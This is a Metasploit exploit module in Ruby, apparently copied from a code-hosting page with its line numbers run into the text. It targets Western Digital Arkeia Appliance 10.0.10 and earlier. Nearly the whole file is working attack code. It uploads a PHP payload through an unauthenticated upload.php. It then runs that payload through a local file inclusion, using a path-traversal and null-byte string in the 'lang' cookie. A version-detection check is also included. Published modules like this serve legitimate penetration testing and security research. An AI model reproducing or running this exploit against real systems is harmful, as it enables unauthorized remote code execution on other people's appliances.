Path: blob/master/modules/exploits/unix/webapp/arkeia_upload_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Western Digital Arkeia Remote Code Execution",16'Description' => %q{17This module exploits a vulnerability found in Western Digital Arkeia Appliance18version 10.0.10 and lower. By abusing the upload.php script,19a malicious user can upload arbitrary code to the ApplianceUpdate file in the temp20directory without authentication. Abusing the local file inclusion in the lang21cookie to parse this file results in arbitrary code execution, also without22authentication. The module has been tested successfully on Arkeia 10.0.10. The issues23have been fixed in version 10.1.10.24},25'License' => MSF_LICENSE,26'Author' => [27'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module28],29'References' => [30[ 'OSVDB', '97614' ],31[ 'OSVDB', '97615' ],32[ 'EDB', '28330' ]33],34'Platform' => ['php'],35'Arch' => ARCH_PHP,36'Targets' => [37['Western Digital Arkeia Appliance 10.0.10', {}]38],39'Privileged' => false,40'DisclosureDate' => '2013-09-16',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('TARGETURI', [true, 'The base path to the Arkeia Appliance', '/'])53]54)55end5657def uri58return target_uri.path59end6061def check62# Check version63print_status("Trying to detect installed version")6465res = send_request_cgi({66'method' => 'GET',67'uri' => normalize_uri(uri)68})6970if res and res.code == 200 and res.body =~ /v(\d+\.\d+\.\d+)/71version = $172else73return Exploit::CheckCode::Unknown74end7576vprint_status("Version #{version} detected")7778if version > "10.0.10"79return Exploit::CheckCode::Safe80end8182# Check for vulnerable component83vprint_status("Trying to detect the vulnerable component")8485res = send_request_cgi({86'method' => 'GET',87'headers' => { 'Cookie' => "lang=fr" },88'uri' => normalize_uri(uri)89})9091if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/92return Exploit::CheckCode::Appears93end9495return Exploit::CheckCode::Safe96end9798def exploit99payload_name = rand_text_alpha(rand(10) + 5)100101post_data = Rex::MIME::Message.new102post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"UPLOAD\"; filename=\"#{payload_name}\"")103file = post_data.to_s104file.strip!105106print_status("Sending PHP payload which will be uploaded to hardcoded /tmp/ApplianceUpdate")107res = send_request_cgi({108'method' => 'POST',109'uri' => normalize_uri(uri, "scripts", "upload.php"),110'ctype' => "multipart/form-data; boundary=#{post_data.bound}",111'data' => file112})113114# If the server returns 200 we assume we uploaded the malicious115# file successfully116if not res or res.code != 200117fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")118end119120register_files_for_cleanup("/tmp/ApplianceUpdate")121122print_status("Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate")123res = send_request_cgi({124'method' => 'GET',125'headers' => { 'Cookie' => "lang=../../../../../../../../../../../../../../../../tmp/ApplianceUpdate%00en" },126'uri' => normalize_uri(uri)127})128129# If we don't get a 200 when we request our malicious payload, we suspect130# we don't have a shell, either.131if res and res.code != 200132print_error("Unexpected response, probably the exploit failed")133end134end135end136137138